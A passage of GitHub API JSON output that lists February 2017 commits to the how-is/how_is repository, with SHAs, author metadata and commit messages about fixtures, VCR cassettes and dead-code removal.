s/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3e274011bda1ff177d75c89519bc8008038922d0","url":"https://api.github.com/repos/how-is/how_is/commits/3e274011bda1ff177d75c89519bc8008038922d0","html_url":"https://github.com/how-is/how_is/commit/3e274011bda1ff177d75c89519bc8008038922d0"}]},{"sha":"3e274011bda1ff177d75c89519bc8008038922d0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2UyNzQwMTFiZGExZmYxNzdkNzVjODk1MTliYzgwMDgwMzg5MjJkMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:00:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:00:36Z"},"message":"Add fixture that somehow never got added before.","tree":{"sha":"bfd196f413b380f25a352b662ea4e6b44e1d08a4","url":"https://api.github.com/repos/how-is/how_is/git/trees/bfd196f413b380f25a352b662ea4e6b44e1d08a4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3e274011bda1ff177d75c89519bc8008038922d0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3e274011bda1ff177d75c89519bc8008038922d0","html_url":"https://github.com/how-is/how_is/commit/3e274011bda1ff177d75c89519bc8008038922d0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3e274011bda1ff177d75c89519bc8008038922d0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0280bb692d50510c5c879765d127065bfb7f695f","url":"https://api.github.com/repos/how-is/how_is/commits/0280bb692d50510c5c879765d127065bfb7f695f","html_url":"https://github.com/how-is/how_is/commit/0280bb692d50510c5c879765d127065bfb7f695f"}]},{"sha":"0280bb692d50510c5c879765d127065bfb7f695f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDI4MGJiNjkyZDUwNTEwYzVjODc5NzY1ZDEyNzA2NWJmYjdmNjk1Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:59:56Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:00:07Z"},"message":"Update JSON report in spec/data.","tree":{"sha":"986e2883959ccc03b9a487d0bc6962d644365129","url":"https://api.github.com/repos/how-is/how_is/git/trees/986e2883959ccc03b9a487d0bc6962d644365129"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0280bb692d50510c5c879765d127065bfb7f695f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0280bb692d50510c5c879765d127065bfb7f695f","html_url":"https://github.com/how-is/how_is/commit/0280bb692d50510c5c879765d127065bfb7f695f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0280bb692d50510c5c879765d127065bfb7f695f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"eef09ce6a644e12114e85b62d31598e9e0f10fe4","url":"https://api.github.com/repos/how-is/how_is/commits/eef09ce6a644e12114e85b62d31598e9e0f10fe4","html_url":"https://github.com/how-is/how_is/commit/eef09ce6a644e12114e85b62d31598e9e0f10fe4"}]},{"sha":"eef09ce6a644e12114e85b62d31598e9e0f10fe4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWVmMDljZTZhNjQ0ZTEyMTE0ZTg1YjYyZDMxNTk4ZTllMGYxMGZlNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:58:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:58:24Z"},"message":"Include pulse in Analysis.","tree":{"sha":"526027d3b493d4cb3c007f67ef4e7290e8363c9b","url":"https://api.github.com/repos/how-is/how_is/git/trees/526027d3b493d4cb3c007f67ef4e7290e8363c9b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eef09ce6a644e12114e85b62d31598e9e0f10fe4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eef09ce6a644e12114e85b62d31598e9e0f10fe4","html_url":"https://github.com/how-is/how_is/commit/eef09ce6a644e12114e85b62d31598e9e0f10fe4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eef09ce6a644e12114e85b62d31598e9e0f10fe4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"df6a745492d47fe3b60fe8b49859df3393d56d6d","url":"https://api.github.com/repos/how-is/how_is/commits/df6a745492d47fe3b60fe8b49859df3393d56d6d","html_url":"https://github.com/how-is/how_is/commit/df6a745492d47fe3b60fe8b49859df3393d56d6d"}]},{"sha":"df6a745492d47fe3b60fe8b49859df3393d56d6d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGY2YTc0NTQ5MmQ0N2ZlM2I2MGZlOGI0OTg1OWRmMzM5M2Q1NmQ2ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:57:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:57:53Z"},"message":"Revert \"Regenerate VCR cassettes.\"\n\nThis reverts commit fc1543858ef912f8365e15b2bd0f9e55168754d9.","tree":{"sha":"99914122d33a1fc3c522a90e7e19826aed9846a1","url":"https://api.github.com/repos/how-is/how_is/git/trees/99914122d33a1fc3c522a90e7e19826aed9846a1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/df6a745492d47fe3b60fe8b49859df3393d56d6d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/df6a745492d47fe3b60fe8b49859df3393d56d6d","html_url":"https://github.com/how-is/how_is/commit/df6a745492d47fe3b60fe8b49859df3393d56d6d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/df6a745492d47fe3b60fe8b49859df3393d56d6d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"64445721225eda3e068cfaf8c1313728c280300d","url":"https://api.github.com/repos/how-is/how_is/commits/64445721225eda3e068cfaf8c1313728c280300d","html_url":"https://github.com/how-is/how_is/commit/64445721225eda3e068cfaf8c1313728c280300d"}]},{"sha":"64445721225eda3e068cfaf8c1313728c280300d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjQ0NDU3MjEyMjVlZGEzZTA2OGNmYWY4YzEzMTM3MjhjMjgwMzAwZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:54:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:54:15Z"},"message":"Don''t shadow variables.","tree":{"sha":"b17d091c891db22557f2e7c8ee3466dc74797d99","url":"https://api.github.com/repos/how-is/how_is/git/trees/b17d091c891db22557f2e7c8ee3466dc74797d99"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/64445721225eda3e068cfaf8c1313728c280300d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/64445721225eda3e068cfaf8c1313728c280300d","html_url":"https://github.com/how-is/how_is/commit/64445721225eda3e068cfaf8c1313728c280300d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/64445721225eda3e068cfaf8c1313728c280300d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fe9cbff17f72b46576d8cf790f74a7ababfdf5a9","url":"https://api.github.com/repos/how-is/how_is/commits/fe9cbff17f72b46576d8cf790f74a7ababfdf5a9","html_url":"https://github.com/how-is/how_is/commit/fe9cbff17f72b46576d8cf790f74a7ababfdf5a9"}]},{"sha":"fe9cbff17f72b46576d8cf790f74a7ababfdf5a9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmU5Y2JmZjE3ZjcyYjQ2NTc2ZDhjZjc5MGY3NGE3YWJhYmZkZjVhOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:49:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:49:43Z"},"message":"Begin work on including Pulse data in JSON reports.","tree":{"sha":"b0fb8673f403c90f3183c83b93c585a93d4eba43","url":"https://api.github.com/repos/how-is/how_is/git/trees/b0fb8673f403c90f3183c83b93c585a93d4eba43"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fe9cbff17f72b46576d8cf790f74a7ababfdf5a9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fe9cbff17f72b46576d8cf790f74a7ababfdf5a9","html_url":"https://github.com/how-is/how_is/commit/fe9cbff17f72b46576d8cf790f74a7ababfdf5a9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fe9cbff17f72b46576d8cf790f74a7ababfdf5a9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fc1543858ef912f8365e15b2bd0f9e55168754d9","url":"https://api.github.com/repos/how-is/how_is/commits/fc1543858ef912f8365e15b2bd0f9e55168754d9","html_url":"https://github.com/how-is/how_is/commit/fc1543858ef912f8365e15b2bd0f9e55168754d9"}]},{"sha":"fc1543858ef912f8365e15b2bd0f9e55168754d9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmMxNTQzODU4ZWY5MTJmODM2NWUxNWIyYmQwZjllNTUxNjg3NTRkOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:49:28Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:49:28Z"},"message":"Regenerate VCR cassettes.","tree":{"sha":"864b8a87b245d9cf325c9ad6a8a71b5c6ae60f3b","url":"https://api.github.com/repos/how-is/how_is/git/trees/864b8a87b245d9cf325c9ad6a8a71b5c6ae60f3b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fc1543858ef912f8365e15b2bd0f9e55168754d9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fc1543858ef912f8365e15b2bd0f9e55168754d9","html_url":"https://github.com/how-is/how_is/commit/fc1543858ef912f8365e15b2bd0f9e55168754d9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fc1543858ef912f8365e15b2bd0f9e55168754d9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c09dc5eed53f39177a86539e3ee7567e8a68b839","url":"https://api.github.com/repos/how-is/how_is/commits/c09dc5eed53f39177a86539e3ee7567e8a68b839","html_url":"https://github.com/how-is/how_is/commit/c09dc5eed53f39177a86539e3ee7567e8a68b839"}]},{"sha":"c09dc5eed53f39177a86539e3ee7567e8a68b839","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzA5ZGM1ZWVkNTNmMzkxNzdhODY1MzllM2VlNzU2N2U4YTY4YjgzOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:23:50Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T18:23:50Z"},"message":"Merge pull request #123 from how-is/remove-dead-code\n\nRemove dead code.","tree":{"sha":"c096fb03594de1160d8b447ede1ad24d2567f6c0","url":"https://api.github.com/repos/how-is/how_is/git/trees/c096fb03594de1160d8b447ede1ad24d2567f6c0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c09dc5eed53f39177a86539e3ee7567e8a68b839","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c09dc5eed53f39177a86539e3ee7567e8a68b839","html_url":"https://github.com/how-is/how_is/commit/c09dc5eed53f39177a86539e3ee7567e8a68b839","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c09dc5eed53f39177a86539e3ee7567e8a68b839/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"71e07ed7927d47c2d80f6018b71543155720cb6f","url":"https://api.github.com/repos/how-is/how_is/commits/71e07ed7927d47c2d80f6018b71543155720cb6f","html_url":"https://github.com/how-is/how_is/commit/71e07ed7927d47c2d80f6018b71543155720cb6f"},{"sha":"12d70362a88b1468032eff4574f95abc3a2386d1","url":"https://api.github.com/repos/how-is/how_is/commits/12d70362a88b1468032eff4574f95abc3a2386d1","html_url":"https://github.com/how-is/how_is/commit/12d70362a88b1468032eff4574f95abc3a2386d1"}]},{"sha":"12d70362a88b1468032eff4574f95abc3a2386d1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTJkNzAzNjJhODhiMTQ2ODAzMmVmZjQ1NzRmOTVhYmMzYTIzODZkMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:21:55Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T18:21:55Z"},"message":"Merge branch ''master'' into remove-dead-code","tree":{"sha":"c096fb03594de1160d8b447ede1ad24d2567f6c0","url":"https://api.github.com/repos/how-is/how_is/git/trees/c096fb03594de1160d8b447ede1ad24d2567f6c0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/12d70362a88b1468032eff4574f95abc3a2386d1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/12d70362a88b1468032eff4574f95abc3a2386d1","html_url":"https://github.com/how-is/how_is/commit/12d70362a88b1468032eff4574f95abc3a2386d1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/12d70362a88b1468032eff4574f95abc3a2386d1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f00123311c1f97d9aea5d5ecc923f7de5838864a","url":"https://api.github.com/repos/how-is/how_is/commits/f00123311c1f97d9aea5d5ecc923f7de5838864a","html_url":"https://github.com/how-is/how_is/commit/f00123311c1f97d9aea5d5ecc923f7de5838864a"},{"sha":"71e07ed7927d47c2d80f6018b71543155720cb6f","url":"https://api.github.com/repos/how-is/how_is/commits/71e07ed7927d47c2d80f6018b71543155720cb6f","html_url":"https://github.com/how-is/how_is/commit/71e07ed7927d47c2d80f6018b71543155720cb6f"}]},{"sha":"f00123311c1f97d9aea5d5ecc923f7de5838864a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjAwMTIzMzExYzFmOTdkOWFlYTVkNWVjYzkyM2Y3ZGU1ODM4ODY0YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:17:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:17:45Z"},"message":"Remove dead code.","tree":{"sha":"4668ae9639a1d22a2260cf915585d575c302056a","url":"https://api.github.com/repos/how-is/how_is/git/trees/4668ae9639a1d22a2260cf915585d575c302056a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f00123311c1f97d9aea5d5ecc923f7de5838864a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f00123311c1f97d9aea5d5ecc923f7de5838864a","html_url":"https://github.com/how-is/how_is/commit/f00123311c1f97d9aea5d5ecc923f7de5838864a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f00123311c1f97d9aea5d5ecc923f7de5838864a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github